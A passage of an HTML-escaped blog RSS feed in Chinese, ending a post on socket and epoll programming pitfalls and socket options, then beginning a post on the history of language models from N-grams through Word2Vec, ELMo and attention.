&lt;li&gt;&lt;strong&gt;真相&lt;/strong&gt;：&lt;code&gt;epoll&lt;/code&gt; 可写仅意味着发送缓冲区未满（低于低水位线）。由于 TCP 流量控制和窗口机制，如果对端慢、网络堵，即使 socket 可写，写入太快依然会阻塞（在非阻塞模式下即返回 &lt;code&gt;EAGAIN&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;七、 高并发常见陷阱&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;th&gt;解决方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ET 模式事件丢失&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EPOLLET&lt;/code&gt; 下必须循环读到 &lt;code&gt;EAGAIN&lt;/code&gt;，否则可能等不到下一次事件&lt;/td&gt;
&lt;td&gt;循环 &lt;code&gt;read()&lt;/code&gt; 直到 &lt;code&gt;EAGAIN&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;短读/短写&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TCP 是字节流协议，单次调用可能只处理部分数据&lt;/td&gt;
&lt;td&gt;循环处理，检查返回值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SIGPIPE 杀进程&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;对端关闭后继续 &lt;code&gt;write()&lt;/code&gt; 会触发 &lt;code&gt;SIGPIPE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;忽略信号或使用 &lt;code&gt;MSG_NOSIGNAL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TIME_WAIT 过多&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;主动关闭方的正常状态，高并发短连接容易积累&lt;/td&gt;
&lt;td&gt;连接复用/池化，或调整 &lt;code&gt;net.ipv4.tcp_tw_reuse&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;延迟 ACK 与 Nagle&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;小包交互可能出现 40ms 延迟&lt;/td&gt;
&lt;td&gt;使用 &lt;code&gt;TCP_NODELAY&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;accept 队列溢出&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;backlog&lt;/code&gt; 过小或 accept 不及时&lt;/td&gt;
&lt;td&gt;增大 &lt;code&gt;somaxconn&lt;/code&gt;，确保及时 accept&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;八、 Socket 选项速查&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;选项&lt;/th&gt;
&lt;th&gt;层级&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SO_REUSEADDR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SOL_SOCKET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许 bind 处于 TIME_WAIT 的地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SO_REUSEPORT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SOL_SOCKET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;多进程/线程绑定同一端口（负载均衡）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SO_SNDBUF/SO_RCVBUF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SOL_SOCKET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;发送/接收缓冲区大小&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SO_KEEPALIVE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SOL_SOCKET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;启用 TCP Keep-Alive 探测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TCP_NODELAY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IPPROTO_TCP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;禁用 Nagle 算法，降低延迟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TCP_CORK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IPPROTO_TCP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;聚合小包（需配合 flush 时机）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TCP_DEFER_ACCEPT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IPPROTO_TCP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;延迟 accept 直到有数据到达&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;九、 总结&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Socket 是网络编程的基石，其设计体现了 Unix “一切皆文件” 的哲学。从用户态 API 到内核实现，理解 Socket 的完整技术栈对于构建高性能网络服务至关重要。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Socket 通过文件描述符抽象，统一了网络 I/O 和文件 I/O 的编程模型&lt;/li&gt;
&lt;li&gt;地址结构体分层设计（sockaddr → sockaddr_in → in_addr）保证了接口的通用性&lt;/li&gt;
&lt;li&gt;内核对象链（fd → file → socket → sock）实现了跨层的抽象&lt;/li&gt;
&lt;li&gt;阻塞/非阻塞是 fd 属性，正确使用需要配合事件循环&lt;/li&gt;
&lt;li&gt;高并发编程需要注意 ET 模式、短读短写、TIME_WAIT 等陷阱&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;与 epoll 的关系&lt;/strong&gt;：Socket 提供了网络 I/O 的抽象，而 epoll 提供了高效的多路复用机制。两者结合，构成了现代高性能网络服务的基础设施。&lt;/p&gt;
</content:encoded></item><item><title>CS224N速通 NLP发展历程</title><link>https://blog.alinche.dpdns.org/posts/ai/nlp/cs224n/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/ai/nlp/cs224n/</guid><description>预训练语言模型的前世今生</description><pubDate>Sun, 30 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;预训练语言模型的前世今生：从“静态字典”到“通用智能”&lt;/h2&gt;
&lt;h2&gt;0. 溯源：什么是“&lt;code&gt;语言模型&lt;/code&gt;”？&lt;/h2&gt;
&lt;p&gt;在谈论BERT之前，我们必须先回到原点：&lt;strong&gt;到底什么是语言模型(LM, Language Model)？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;技术定义：&lt;/strong&gt;
语言模型在数学上本质上是一个&lt;strong&gt;概率密度估计（Probability Density Estimation）&lt;/strong&gt;。它的任务是计算一个句子出现的概率 $P(S)$，或者根据上文预测下一个Token的条件概率 $P(w_t | w_1, ..., w_{t-1})$。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;概率链式法则&lt;/code&gt;
$$
\begin{aligned}
P\left(w_{1}, w_{2},\cdots, w_{n}\right) &amp;amp;=P\left(w_{1}\right) P\left(w_{2} \mid w_{1}\right) P\left(w_{3} \mid w_{1}, w_{2}\right) \cdots P\left(w_{n} \mid w_{1}, w_{2}, \cdots, w_{n-1}\right) \
&amp;amp;=\prod_{i=1}^{n} P\left(w_{i} \mid w_{1}, w_{2}, \cdots, w_{i-1}\right)
\end{aligned}
$$&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;通俗理解&lt;/strong&gt;: 它是一个判断“这句话像不像人话”或者“文字接龙”的机器。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;输入&lt;/strong&gt;：“今天天气真...”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模型预测&lt;/strong&gt;：$P(\text{好} | \text{context}) = 0.8$，$P(\text{人} | \text{context}) = 0.001$。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;为了实现这个目标，历史上演化出了两种的流派：&lt;strong&gt;统计语言模型&lt;/strong&gt;与&lt;strong&gt;神经网络语言模型&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;(1) &lt;code&gt;统计语言模型&lt;/code&gt; (SLM): N-Gram 时代&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心思想：&lt;/strong&gt; 依靠&lt;strong&gt;计数(Counting)&lt;/strong&gt;。
为了简化计算，N-Gram引入了&lt;strong&gt;马尔可夫假设(Markov Assumption)&lt;/strong&gt;：假设当前词出现的概率只与前 N-1 个词有关。
如果是 Bi-Gram(2-gram)，公式就简化为：
$$
P(w_i | w_{1}, ..., w_{i-1}) \approx P(w_i | w_{i-1}) = \frac{\operatorname{count}(w_{i-1}, w_i)}{\operatorname{count}(w_{i-1})}
$$
&lt;strong&gt;补丁：平滑技术(Smoothing)&lt;/strong&gt;
统计方法面临一个致命问题：&lt;strong&gt;零概率问题(Zero Probability)&lt;/strong&gt;。如果训练语料里从来没出现过“今天天气真诡异”，那么概率就是0，会导致整个句子的概率直接归零。
为了解决这个问题，引入了拉普拉斯平滑（&lt;strong&gt;加一平滑&lt;/strong&gt;）：
$$
P_{\text{Laplace}}\left(w_{i} \mid w_{i-1}\right) = \frac{\operatorname{count}\left(w_{i-1}, w_{i}\right) + 1}{\operatorname{count}\left(w_{i-1}\right) + |V|}
$$
&lt;em&gt;注：$|V|$ 为词表大小。这使得分母不为0且概率和为1。&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SLM 的局限（为什么被淘汰）：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;维度灾难 (Curse of Dimensionality)：&lt;/strong&gt; 随着 N 增大（想看更长的上下文），参数空间呈指数级爆炸，内存根本存不下。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离散性与语义鸿沟：&lt;/strong&gt; 这是一个硬伤。在 SLM 眼中，“猫”和“狗”是两个完全独立的 ID，模型无法理解它们都是“宠物”。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;(2) 神经网络语言模型 (NNLM): 预测下一个词，副产物为词向量&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心思想：&lt;/strong&gt; &lt;strong&gt;依靠计算(Computing)&lt;/strong&gt; 与  &lt;strong&gt;分布式表示(Distributed Representation)&lt;/strong&gt;。
2003年，Bengio 提出了经典的 NNLM。不同于 N-Gram 的查表数数，NNLM 将每个词映射为一个&lt;strong&gt;连续的稠密向量(Vector)&lt;/strong&gt;。
$$
f(w_t, w_{t-1}, ..., w_{t-n+1}) = \text{Softmax}(h(\text{Word Vectors}))
$$
&lt;strong&gt;NNLM 的历史性突破：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;相似性泛化：&lt;/strong&gt; 因为“猫”和“狗”在向量空间中距离很近，模型学到了“猫喜欢吃鱼”后，会自动推断出“狗”也可能喜欢吃某种食物。这是统计模型做不到的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;平滑的概率函数：&lt;/strong&gt; 神经网络输出的是连续的概率分布，天然避免了零概率问题，不再需要复杂的平滑算法。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;P.S. 向量化其实是副产物：后人发现随机化矩阵Q训练好后，(one-hot) &lt;code&gt;wQ&lt;/code&gt; 得到的词向量 在一定程度上可以通过&lt;strong&gt;余弦相似度&lt;/strong&gt;描述词的&lt;strong&gt;相似性&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;历史地位：&lt;/strong&gt;
最早的N-Gram是基于统计的（Counting），后来进化为神经网络语言模型（NNLM）。所有的预训练皇冠上的明珠（BERT/GPT/LLaMA），无论参数量千亿还是万亿，归根结底都是在做一个&lt;strong&gt;最简单的&lt;code&gt;自监督&lt;/code&gt;任务&lt;/strong&gt;：预测下一个词（Next Token Prediction）或还原被遮盖的词（Masked Language Modeling）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;大道至简&lt;/strong&gt;。正是这个简单的目标函数，配合神经网络强大的&lt;strong&gt;拟合能力&lt;/strong&gt;和&lt;strong&gt;泛化能力&lt;/strong&gt;，让机器最终学会了人类的通识知识与逻辑推理。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;P.S. 为什么我们需要“&lt;code&gt;预训练&lt;/code&gt;”？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;历史的窘境与数据的救赎&lt;/strong&gt;
在深度学习早期，NLP任务通常是&lt;code&gt;Train from Scratch&lt;/code&gt;（从零训练）。这种方式面临两个巨大的历史障碍，而“预训练（&lt;code&gt;Pre-training&lt;/code&gt;）”正是为了解决这些痛点应运而生：&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;(1) 数据标注的瓶颈 (Label Scarcity)&lt;/h3&gt;
&lt;p&gt;这是最现实的原因。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高昂成本：&lt;/strong&gt; 只有Google、百度等巨头才有财力构建百万级的“情感分类”或“机器翻译”标注数据集。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长尾困境：&lt;/strong&gt; 对于医疗、法律、金融等垂直领域，专家标注的数据极其稀缺。在小样本上从头训练深层网络，极易导致&lt;strong&gt;过拟合（Overfitting）&lt;/strong&gt;，模型只能记住训练集，无法泛化。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;(2) 范式的觉醒：自监督学习 (Self-Supervised Learning)&lt;/h3&gt;
&lt;p&gt;在计算机视觉（&lt;code&gt;CV&lt;/code&gt;）领域， &lt;strong&gt;ImageNet&lt;/strong&gt; 预训练早已证明了&lt;code&gt;迁移学习&lt;/code&gt;(Transfer Learning)的威力：“先让模型看懂边缘和纹理，再微调去识别猫狗。”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NLP领域的觉醒：&lt;/strong&gt;
我们意识到，互联网上有着无穷无尽的&lt;strong&gt;无标注文本&lt;/strong&gt;（维基百科、CommonCrawl）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;预训练的核心逻辑：&lt;/strong&gt; 我们不需要人工标注“这是褒义词”，我们只需要把海量的书扔给模型，让它自己去“完形填空”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本质：&lt;/strong&gt; 预训练是通过&lt;strong&gt;自监督学习&lt;/strong&gt;，利用无限的无标签数据，学习通用的&lt;strong&gt;语言表示（Representation）&lt;/strong&gt;，将知识存储在模型参数中，再迁移到有限的有标签下游任务中。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第一阶段：静态词向量 (Static Word Embeddings)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;代表技术：&lt;/strong&gt; Word2Vec (2013), GloVe&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心理念：&lt;/strong&gt; &lt;code&gt;Feature Learning&lt;/code&gt;（特征学习），将离散符号映射为连续向量。&lt;/p&gt;
&lt;h3&gt;1. &lt;code&gt;Word2Vec&lt;/code&gt;的历史地位：打破维度的诅咒，分布式假设的胜利&lt;/h3&gt;
&lt;p&gt;在Word2Vec之前，我们使用&lt;code&gt;One-Hot&lt;/code&gt;（独热编码）表示单词。如果词表有10万个词，每个词就是一个长达10万维的稀疏向量（维度灾难），且任意两个词向量正交，无法衡量相似度。&lt;/p&gt;
&lt;p&gt;Word2Vec基于语言学著名的&lt;strong&gt;分布式假设(Distributional Hypothesis)&lt;/strong&gt;——“词的含义由它周围的词决定”，其主要目的是为了训练&lt;strong&gt;得到&lt;code&gt;Q&lt;/code&gt;矩阵&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术突破 1：模型架构 (CBOW / Skip-gram)&lt;/strong&gt;
通过神经网络将单词压缩到一个低维（如300维）的稠密空间(Dense Vector Space)中。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CBOW&lt;/code&gt; (Continuous Bag of Words):&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑：&lt;/strong&gt; 用上下文推中心词。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;训练视角：&lt;/strong&gt; 本质是为了得到Q矩阵。所以从&lt;strong&gt;误差反向传播&lt;/strong&gt;的角度来看，其实是“一个老师训练多个学生”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点：&lt;/strong&gt; 训练速度快（上下文向量取平均只进行一次计算），但对生僻词效果较差（细节被平均平滑掉了）。适合速度优先生僻词少的任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Skip-gram&lt;/code&gt;:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑：&lt;/strong&gt; 用中心词推上下文。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;训练视角：&lt;/strong&gt; 从&lt;strong&gt;监督信号来源&lt;/strong&gt;的角度，是“多个老师训练一个学生”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点：&lt;/strong&gt; 训练速度慢（每个词作为中心词单独训练过），但对生僻词较好。适合精度优先、生僻词多的任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;技术突破 2：训练优化 负采样 (&lt;code&gt;Negative Sampling&lt;/code&gt;)&lt;/strong&gt;
在标准的神经网络输出层，我们需要使用 &lt;strong&gt;Softmax&lt;/strong&gt; 来计算概率。
$$ P(w_O|w_I) = \frac{\exp(v&apos;&lt;em&gt;{w_O}{}^T v&lt;/em&gt;{w_I})}{\sum_{w=1}^{|V|} \exp(v&apos;&lt;em&gt;w{}^T v&lt;/em&gt;{w_I})} $$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;计算瓶颈：&lt;/strong&gt; 分母需要遍历整个词表。这意味着每训练一个样本，都要把整个词表算一遍，&lt;strong&gt;计算量大到不可接受&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;负采样&lt;/strong&gt;将原本复杂的“多分类问题”（从整个词表里挑1个正确的）转化为了简单的&lt;strong&gt;二分类问题&lt;/strong&gt;（判断这个词是否正确）。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;正样本 (Positive)：&lt;/strong&gt; 真实的中心词-上下文词对。标签设为 &lt;strong&gt;1&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;负样本 (Negative)：&lt;/strong&gt; 随机从词表中抽取 $k$ 个（通常5-20个）原本不存在于上下文的“噪声词”。标签设为 &lt;strong&gt;0&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心思想：&lt;/strong&gt; 我们不再试图让模型在所有词中找到概率最大的那一个，而是让模型&lt;strong&gt;拉近与正样本的距离，推开与这 k 个负样本的距离&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果：&lt;/strong&gt; 每次更新只需要计算 k+1 个词的梯度，而不是整个词表V。计算复杂度从 $O(|V|)$ 骤降为 $O(k)$，使得在大规模语料上训练成为可能。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;里程碑：&lt;/strong&gt; 它首次让计算机理解了单词间的&lt;strong&gt;线性语义关系&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;$$ \text{Vec(King)} - \text{Vec(Man)} + \text{Vec(Woman)} \approx \text{Vec(Queen)} $$
这不仅仅是数学巧合，更是计算机对语义空间结构的初次构建。
&lt;img src=&quot;Word2Vec.png&quot; alt=&quot;Word2Vec&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 演进逻辑：为什么它被淘汰了？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心缺陷：静态表征的局限 (The Static Representation Limit)&lt;/strong&gt;
Word2Vec生成的词向量是&lt;strong&gt;上下文无关(Context-Independent)&lt;strong&gt;的。一旦训练完成，一个词的向量就&lt;/strong&gt;固定&lt;/strong&gt;了(因为&lt;code&gt;Q&lt;/code&gt;矩阵固定了)。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;多义词灾难：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;句子 A: &quot;I ate an &lt;strong&gt;Apple&lt;/strong&gt;.&quot; (水果)&lt;/li&gt;
&lt;li&gt;句子 B: &quot;I bought an &lt;strong&gt;Apple&lt;/strong&gt;.&quot; (科技公司)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Word2Vec给 &quot;Apple&quot; 分配了一个&lt;strong&gt;固定&lt;/strong&gt;的静态向量。无论上下文如何变化，这个向量一动不动。这种&lt;strong&gt;静态映射&lt;/strong&gt;不仅无法解决多义词(Polysemy)问题，也无法捕捉复杂的句法结构。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;第二阶段：动态上下文感知 (Contextualized Word Embeddings)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;代表技术：&lt;/strong&gt; ELMo (2018)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心理念：&lt;/strong&gt; &lt;code&gt;Context-Dependent&lt;/code&gt;（语境依赖），词义由上下文动态生成。&lt;/p&gt;
&lt;h3&gt;1. &lt;code&gt;ELMo&lt;/code&gt;的历史地位：语境的觉醒,从“查字典”到“读句子”&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ELMo (&lt;code&gt;Embeddings from Language Models&lt;/code&gt;) 是一次观念上的飞跃。它提出：&lt;strong&gt;词向量不应该是查表得到的，而应该是算出来的。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Word2Vec 预训练好的&lt;code&gt;Q&lt;/code&gt;矩阵仍是很好的词向量生成矩阵。ELMo 在此基础上不仅仅训练&lt;code&gt;Q&lt;/code&gt;矩阵，还把&lt;strong&gt;上下文信息&lt;/strong&gt;融入&lt;code&gt;Q&lt;/code&gt;矩阵。
它使用 &lt;strong&gt;双头LSTM&lt;/strong&gt; (&lt;code&gt;Bi-LSTM&lt;/code&gt;)作为&lt;strong&gt;编码器&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态生成：&lt;/strong&gt; 当输入 &quot;Apple&quot; 时，ELMo会结合该词的左文(Left Context)和右文(Right Context)，动态生成一个向量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;突破点：&lt;/strong&gt; 在ELMo眼中，&quot;Apple&quot;(水果) 和 &quot;Apple&quot;(公司) 通过上下文信息可以拥有完全不同的向量表示。这是NLP从“词级别”迈向“句级别”的关键一步。
&lt;img src=&quot;ELMo_PreTrain.png&quot; alt=&quot;ELMo_PreTrain&quot; /&gt;
预训练：左边的LSTM获取了E2的上文信息，右边的LSTM获取了E2的下文信息。
&lt;img src=&quot;ELMo.png&quot; alt=&quot;ELMo&quot; /&gt;
&lt;code&gt;预训练语言模型的下游任务改造&lt;/code&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 演进逻辑：为什么LSTM架构走到了尽头？&lt;/h3&gt;
&lt;p&gt;虽然ELMo效果很好，开启了动态向量时代，但它依然基于LSTM（RNN的一种）。&lt;strong&gt;这个底层架构注定了它的上限：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;串行计算的瓶颈(The Sequential Bottleneck)：&lt;/strong&gt;
LSTM必须按照时间步 $t$ 依次计算：读完第1个词，才能读第2个词。这导致它无法利用GPU强大的并行计算能力。在数据量爆炸的“大数据时代”，&lt;strong&gt;训练效率低下&lt;/strong&gt;是不可接受的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长距离依赖的缺失(Long-term Dependency Issue)：&lt;/strong&gt;
尽管LSTM引入了门控机制，但在处理长文本时，开头的信息传到结尾依然会衰减(Vanishing Gradient)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;伪双向(Pseudo-Bidirectional)：&lt;/strong&gt;
ELMo的双向LSTM本质上是“一个从左到右的模型”和“一个从右到左的模型”的简单拼接。它无法像人类一样，&lt;strong&gt;同时&lt;/strong&gt;看到整个句子并理解词与词之间复杂的相互作用(Self-Attention)。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;历史在呼唤一种既能并行计算，又能捕捉深层语义的全新架构。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第2.5阶段：引入 &lt;code&gt;Attention&lt;/code&gt; 注意力机制&lt;/h2&gt;
&lt;h3&gt;1. &lt;code&gt;Attention&lt;/code&gt; 是一种 &lt;code&gt;QKV&lt;/code&gt; &lt;code&gt;思想&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;在RNN时代，模型必须按顺序读完整个句子，还得把所有信息压缩到一个固定长度的向量里（容易忘事）。而&lt;strong&gt;Attention&lt;/strong&gt;的出现，让模型拥有了“上帝视角”和“划重点”的能力。即 通过计算 Q 和 K 每个信息的相关性权重 “通过 Query 这个信息从 Values 中筛选出重要信息”。&lt;/p&gt;
&lt;p&gt;这可以更加好的解决序列长距离依赖问题，并且具有并行计算能力。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Attention通用&lt;code&gt;思想&lt;/code&gt;的内涵&lt;/strong&gt;：Q可以是任何东西(如Q文生V图)，V也可以是任何东西，K往往跟V的类似/同源的（数学上: K、V矩阵大小一致）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;计算QK相似度并SoftMax()归一化得到注意力权重 -&amp;gt; 注意力权重和V向量加权聚合得到最终的&lt;strong&gt;上下文向量&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;计算比较 Q 和 K 的相似度，一般以下有四种计算方法：
&lt;ul&gt;
&lt;li&gt;点乘（Transformer）： $f(Q,K_{i})=Q^{T}K_{i}$&lt;/li&gt;
&lt;li&gt;通用权重： $f(Q,K_{i})=Q^{T}WK_{i}$&lt;/li&gt;
&lt;li&gt;拼接权重： $f(Q,K_{i})=W[Q^{T};K_{i}]$&lt;/li&gt;
&lt;li&gt;感知器：   $f(Q,K_{i})=V^{T}\tanh(WQ+UK_{i})$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;将相似度 softmax 归一化（得到注意力权重）
&lt;ul&gt;
&lt;li&gt;$\alpha_{i}=\text{softmax}(\frac{f(Q,K_{i})}{\sqrt{d_{k}}})$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scaled Dot-Product Attention&lt;/strong&gt;: 防止在键向量的维度 $d_{k}$较高时，相似度分数的方差过大，导致 Softmax 将几乎全部的概率分给最大值，进而导致Softmax函数的&lt;strong&gt;梯度消失&lt;/strong&gt;问题，使其无法有效学习，所以要把方差标准化为1，让梯度保持在敏感区间。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;加权求和（生成注意力向量）
&lt;ul&gt;
&lt;li&gt;$Attention=\sum_{i=1}^{m}\alpha_{i}V_{i}$&lt;/li&gt;
&lt;li&gt;这个 新的向量 Z 其实就是 V 的注意力版本，K 和 V 往往是同源的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. Self-Attention 自注意力机制&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心思想&lt;/strong&gt;：QKV同源于同一个X，计算方法跟Attention类似，通过自注意力机制可以包含上下文信息（如得出她/他/它在上下文中可能对应哪个名词）
&lt;img src=&quot;self_attention.png&quot; alt=&quot;self_attention&quot; /&gt;
当然，实际情况是自注意矩阵，得到的Z是X+上下文词信息的新向量&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cross-Attention 交叉注意力机制&lt;/h3&gt;
&lt;ul&gt;
